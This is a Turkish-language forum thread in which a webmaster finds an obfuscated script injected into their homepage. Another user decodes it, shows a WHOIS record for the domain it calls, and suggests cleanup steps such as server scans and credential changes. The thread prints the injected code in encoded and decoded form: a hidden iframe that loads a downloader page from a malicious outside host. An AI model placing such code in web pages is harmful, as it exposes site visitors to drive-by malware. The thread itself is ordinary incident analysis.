<script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74 %61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6 d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61% 6d%65%20%6e%61%6d%65%3d%32%66%65%33%20%73%72%63%3d %5c%27%68%74%74%70%3a%2f%2f%77%77%77%2e%70%6f%6b%7 5%70%6b%69%32%34%2e%69%6e%66%6f%2f%31%34%2f%69%6e% 64%65%78%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f %75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%2 9%2a%33%36%32%32%34%29%2b%27%62%35%31%62%30%5c%27% 20%77%69%64%74%68%3d%35%36%36%20%68%65%69%67%68%74 %3d%36%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6 c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72% 61%6d%65%3e%27%29")); </script>
kod bu arkadaşlar...
dün sildim bugun yine var. yine sildim... anasayfa dosyasının kaynağında çıkıyor
Decode Edelim
<script>eval(unescape("window.status='Done';docume nt.write('<iframe name=2fe3 src=\'http://www.pokupki24.info/14/index.php?'+Math.round(Math.random()*36224)+'b51b0 \' width=566 height=64 style=\'display: none\'></iframe>')")); </script>
Standart Downloader Kodlari Biraz Guzellik Katilmis Sadece. Bahsedilen Site Whoisi
Domain ID
11671351-LRMS
Domain Name:POKUPKI24.INFO
Created On:28-Dec-2005 10:22:23 UTC
Last Updated On:25-Jan-2008 13:02:24 UTC
Expiration Date:28-Dec-2008 10:22:23 UTC
Sponsoring Registrar:Blog.com Digital Communications Inc. (R315-LRMS)
Status:CLIENT TRANSFER PROHIBITED
Status:TRANSFER PROHIBITED
Registrant ID
I_5323438
Registrant Name:diboly
Registrant Organization:diboly
Registrant Street1:Streetskaya str 12
Registrant Street2:
Registrant Street3:
Registrant City:Gorod
Registrant State/Province:Kabardino-Balkarskaya Respublika
Registrant Postal Code:102101
Registrant Country:RU
Registrant Phone:+7.49487410
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:
Admin ID
I_5323438
Admin Name:diboly
Admin Organization:diboly
Admin Street1:Streetskaya str 12
Admin Street2:
Admin Street3:
Admin City:Gorod
Admin State/Province:Kabardino-Balkarskaya Respublika
Admin Postal Code:102101
Admin Country:RU
Admin Phone:+7.49487410
Admin Phone Ext.:
Admin FAX:
Admin FAX Ext.:
Admin Email:
Billing ID
I_5323438
Billing Name:diboly
Billing Organization:diboly
Billing Street1:Streetskaya str 12
Billing Street2:
Billing Street3:
Billing City:Gorod
Billing State/Province:Kabardino-Balkarskaya Respublika
Billing Postal Code:102101
Billing Country:RU
Billing Phone:+7.49487410
Billing Phone Ext.:
Billing FAX:
Billing FAX Ext.:
Billing Email:
Tech ID
I_5323438
Tech Name:diboly
Tech Organization:diboly
Tech Street1:Streetskaya str 12
Tech Street2:
Tech Street3:
Tech City:Gorod
Tech State/Province:Kabardino-Balkarskaya Respublika
Tech Postal Code:102101
Tech Country:RU
Tech Phone:+7.49487410
Tech Phone Ext.:
Tech FAX:
Tech FAX Ext.:
Tech Email:
Name Server:SKY.MERCURY.ORDERBOX-DNS.COM
Name Server:SKY.VENUS.ORDERBOX-DNS.COM
Name Server:SKY.EARTH.ORDERBOX-DNS.COM
Name Server:SKY.MARS.ORDERBOX-DNS.COM
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Name Server:
Muhtemelen Yabanci biri. Yapman Gerekenler Serverinda Bulunan her sitede olan bir mevzu mu yoksa sade sendemi eğer tum sitelerde var ise boyle birsey
server sahinini serveri taratmasi gerekecektir. Yok Sade Sende Var ise >
Pcn De Malware spy Trojen Gibi bişiyler bulasmis olabilir. Format Derim.
Fakat Son Olarakta Config Bilgilerin ile ftp yahut panel bilgilerin farklı oldundan emin ol.Bir Sekilde Configlerin Okunup Ftpne Yahut Database ne De Sızılmıs Olabilir. Siteni bilmiyorum ama bu işleri yapan adamlarin amaci yuksek hitli siteleri botnet vs gibi kotu işler yapan networklarda kullanmaktir Umarim Yakin zamanda problemini cozersin.